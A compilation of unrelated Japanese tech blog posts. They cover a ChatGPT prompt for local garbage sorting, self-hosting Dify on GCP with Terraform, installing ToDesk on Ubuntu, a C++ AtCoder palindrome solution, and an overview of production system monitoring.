　　　[かいちのAI大学　【警告】ChatGPTの画像生成は危険です...【4o Image Generation】](https://youtu.be/8VLUnG-iyo0?si=rAfjMboqmNqppDGq)
***
　まずは、【ニュース】です。

　OpenAIのOperatorが
　　 OpenAI o3にアップデート
　　　されました。

　[OpenAI公式ポスト](https://x.com/OpenAI/status/1925963018791178732?t=e9t6fgu4pAuUdAlLu2yRTA&s=19)

　これにより、
　　Operatorは
　　　ブラウザとの対話において、
　　　　より持続的かつ正確になり、
　　　　　タスクの成功率が全体的に
　　　　　　向上しています。

　　応答もより明確で、
　　　丁寧かつ構造的になりました。

　Operatorは、
　　引き続きChatGPT Proユーザー向けに
　　　リサーチプレビューとして
　　　　グローバルに提供されています｡
***
　では、【本題】です。

　今回は、
　　ゴミ分別で迷うものを
　　　仕分けるためのPromptです。

　ゴミの分別は
　　地域ごとに変わってきます。

　なぜ、一緒ではないのか？
　　それはその地域のゴミ処理方法に
　　　起因します。

　ゴミ処理場は
　　ほぼ焼却という形で
　　　処分します。

　しかし、
　　材質によって
　　　焼却炉が傷んでしまうことがあり､
　　　　また、有毒ガスの発生も
　　　　　過去にありました。

　また、
　　リサイクルやリユースなど
　　　資源化することも
　　　　地域ごとで違ってきます。

　そうなると
　　ゴミ分別を個人レベルで
　　　行なう必要があるわけです。

　そこで問題になるのが
　　分別方法ですね。

　同じペットボトル容器でも
　　ドリンクと調味料とでは
　　　別々にしなければならない。

　それを判断するための指針が
　　地域ごとに明文化されています。

　それを見ても
　　判断に迷うものですよね😅
***
　そこで
　　ChatGPTに
　　　その判断を委ねてしまいます。

　下記のPromptの＊＊＊に
　　自分の地域を入力し、
　　　送信してください。

```Text:ゴミ分別Prompt
［＊＊＊］に住んでいます。
ゴミ捨ての分別に苦労しています。
こちらから与える画像と説明から、Web検索で判断してください。
```

　それから
　　分別するゴミの写真を
　　　アップロードして
　　　　簡単な説明を入力して送信。

　説明には
　　商品名がわかれば
　　　より良いかと思います。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
【 本番向け】terraformを使ってdifyをGCP上にセルフホスティングする

## 1. はじめに
AIアプリがWEBUI上で簡単に作れるdifyを，terraformを使用してGoogle Cloud Platform(gcp)上でセルフホスティングする方法を記述します．

### この記事でできること
- terraformを用いたgcp上でのdifyのセルフホスティング

### この記事の対象者
- AIアプリを簡単に外部公開したい方
- difyをローカルだけでなく，クラウドで運用したい方

### 動作環境
- OS バージョン
    - MacOS Sequoia 15.5

## 事前準備
### リポジトリのクローン
difyをgcpでホスティングする場合，クラウド上でのインフラ構築などを自動化するterraformの設定ファイルを公開してくれている以下のリポジトリがあるのでクローンします．

```sh
git clone https://github.com/DeNA/dify-google-cloud-terraform
```

### パッケージのインストール
#### terraformのインストール
```sh
brew install terraform
```

#### google cloud sdkのインストール
```sh
brew install --cask google-cloud-sdk
```

### gcpプロジェクトの作成
コンソールから任意の名前でプロジェクトを作成します．
詳細は割愛します．

### cliからgcpにログイン
```sh
gcloud auth login
```
コマンド入力後webページが開くのでログインします．

## tfvars保管用バケットの作成
terraformの状態をクラウドで管理するためのストレージを作成します
GCPコンソールからbucketsを選択します．
任意の名前でバケットを作成しておいてください

## ファイルの修正
先ほどクローンしてきたリポジトリを修正して，自分用にカスタムします．
### gitignoreの修正
機密情報をリモートに上げないように，gitignoreに追記します
```text:.gitignore
terraform.tfvars
```

* terraform/environments/dev 
を
* terraform/environments/prod
という名前でコピーします．

### provider.tfの修正
先ほど作成したバケットをterraformの状態管理に適用します
```diff_terraform:provider.tf
terraform {
  backend "gcs" {
+   bucket = "<バケットの名前>"
    prefix = "dify"
  }
}
```

### tfvarsの修正
コピーしたprod内のterraform.tfvarsを修正します
keyについては，

```sh
openssl rand -base64 42
```
を実行して，作成するといいでしょう

```diff_terraform:terraform.tfvars
+ project_id = "例：dify-sample-app"
+ region = "例：asia-northeast1"
+ plugin_daemon_key = "<opensslコマンドで作成>"
+ plugin_dify_inner_api_key = "<opensslコマンドで作成>"
```

## デプロイ
ここまできたらいよいよGCPにデプロイします

### terraform初期化
```sh
cd terraform/environments/prod
terraform init
```

### Artifact Registry リポジトリを作成
```sh
terraform apply -target=module.registry
```

### コンテナイメージをビルド＆プッシュ
```sh
cd ../../..
sh ./docker/cloudbuild.sh <project-id> <region>
```

### terraformプランニング
```sh
cd terraform/environments/dev
terraform plan
```

### terraform適用
```sh
terraform apply
```

## 注意
terraformの適用中にapi関連のエラーが発生することがあります，その場合はエラー文に従って，必要なapiを有効化してください．
GCPコンソールから有効化ボタン押すだけです

## 参考資料
<!--

https://qiita.com

[リンク1](https://qiita.com)
-->

https://github.com/DeNa/dify-google-cloud-terraform


<!--
## おわりに・まとめ
どちらかを書きます。あってもなくても良いです。
-->
UbuntsuにToDeskを導入(備忘録)

## 目的
UbuntuからWindowsへリモートデスクトップ接続をすることはできるようになりましたが、
固定IPがないため外出先から接続できません。
[UbuntuからWindowsへリモートデスクトップ接続](https://qiita.com/earthen94/items/b3c758487355aee30035)

私はよく有料の自習室へ行って作業をするのでそこから家のパソコンに繋ぐためToDeskを導入しました。
teamviewrの方が有名ですが私は中国に住んでいるので中国製品のToDeskを使用することにしました。
windowsは簡単に入れられるので少しややこしいUbuntuの手順のみ記録しておきます。

## 導入方法
以下の場所からダウンロードし、コマンドを入力して導入。
https://www.todesk.com/linux.html
```
ubuntu@ubuntu:~$ cd Downloads/
ubuntu@ubuntu:~$ sudo dpkg -i todesk-v4.7.2.0-amd64.deb 
```
Atcoder解いてみた　ABC 090 B - Palindromic Numbers

# ABC 090 B - Palindromic Numbers
問題は[こちら](https://atcoder.jp/contests/abc090/tasks/abc090_b)  

```C++
#include <iostream>
#include <string>
#include <map>
#include <cstring>
#include <cmath>
#include <algorithm>
using namespace std;

int main() {
    int A;
    int B;

    cin >> A;
    cin >> B;

    int count = 0;
    for (int i = A; i < B + 1; i++) {
        string numStr = to_string(i);

        string numStrRev = numStr;
        reverse(numStrRev.begin(), numStrRev.end());

        if (numStr == numStrRev) {
            count++;
        }
    }

    std::cout << count << std::endl;
    return 0;
}
```
プロダクション環境でのシステム監視・運用管理（パート3）

本番環境へのデプロイが完了した後も、システムの安定運用には継続的な監視（モニタリング）が不可欠です。ここでは、プロダクション運用における監視の重要性と実践的なポイントを解説します。

---

### 🕵️‍♂️ 1. 監視の目的と基本

プロダクション環境では、アプリケーションやインフラの異常を迅速に検知し、ユーザーへの影響を最小限に抑えることが求められます。監視の主な目的は以下の通りです。

- **システム稼働状況の把握**
- **障害やパフォーマンス低下の早期発見**
- **リソース利用状況の可視化**
- **障害発生時の迅速な対応と原因調査**

---

### 🔄 2. 監視の三本柱：ログ・メトリクス・トレース

現代の監視では、「ログ」「メトリクス」「トレース」の3つの観点が重要視されています。

| 観点      | 内容                                                                 |
|-----------|----------------------------------------------------------------------|
| ログ      | システムやアプリケーションのイベントやエラーを時系列で記録           |
| メトリクス | CPU、メモリ、ディスク、ネットワークなどリソースやサービスの数値指標  |
| トレース  | リクエストがシステム内をどのように流れるかを追跡                     |

これらを組み合わせることで、システムの健全性やパフォーマンス低下の根本原因を特定しやすくなります。

---

### 🛠️ 3. 主要な監視ツール

プロダクション環境では、以下のような監視ツールが広く利用されています。

- **Prometheus**  
  メトリクス収集・保存・アラート通知に特化したオープンソースの監視ツール。Kubernetesなどとも親和性が高い。
- **Grafana**  
  収集したメトリクスをグラフやダッシュボードで可視化。Prometheusと連携して利用されることが多い。
- **ELK Stack（Elasticsearch, Logstash, Kibana）**  
  ログの収集・解析・可視化を一括で行えるログ管理プラットフォーム。
- **Datadog, New Relic**  
  アプリケーションパフォーマンス監視（APM）やクラウドインフラの統合監視が可能。
- **Pingdom, UptimeRobot**  
  サービスの死活監視や可用性チェックに特化。

---

### 📈 4. 監視すべき主要な指標

プロダクション運用では、以下のような指標を継続的に監視することが推奨されます。

- **サーバーリソース（CPU、メモリ、ディスク、ネットワーク）の利用状況**
- **アプリケーションのレスポンスタイム（API応答時間など）**
- **エラー率やHTTPステータスコード**
- **サービスの可用性（アップタイム）**
- **ユーザー体験指標（セッション時間、バウンス率など）**
- **データやモデルの品質（MLシステムの場合）**

---

### 🚨 5. アラートの設定と運用

監視の目的は、「問題が起きる前に気づく」ことです。そのため、以下のポイントを意識したアラート設定が重要です。

- **ユーザーに影響が出る前に検知できる閾値を設定**
- **アクション可能な内容のみアラート通知**
- **ノイズ（不要なアラート）を減らす工夫**
- **自動復旧や自動対応が可能な場合は自動化**

アラート通知には、SlackやPagerDutyなどのツールを活用すると、迅速な対応が可能です。

---

### 🔍 6. ログ活用とトラブルシューティング

監視ツールで収集したログは、障害発生時の原因調査やパフォーマンス劣化の解析に役立ちます。

- **エラーや例外のログを記録**
- **リクエストやトランザクションのトレース情報を保存**
- **定期的にログを分析し、問題の兆候を早期発見**
- **ログの保管期間やコストも考慮**

---

### 🏗️ 7. 監視戦略の継続的な見直し

システムやアプリケーションは常に進化するため、監視戦略も定期的に見直す必要があります。

- **新しい機能やサービス追加時に監視対象を拡張**
- **監視ツールやアラートルールの最適化**
- **チームメンバーと監視体制の共有・教育**

---

### 🏁 まとめ

プロダクション運用における監視は、システムの安定性と信頼性を維持するための重要な活動です。ログ・メトリクス・トレースの3観点をバランスよく監視し、適切なツール・指標・アラートを設定することで、障害発生時の迅速な対応やユーザー体験の向上が実現できます。

---

**監視を徹底し、プロダクション運用の品質を高めましょう。**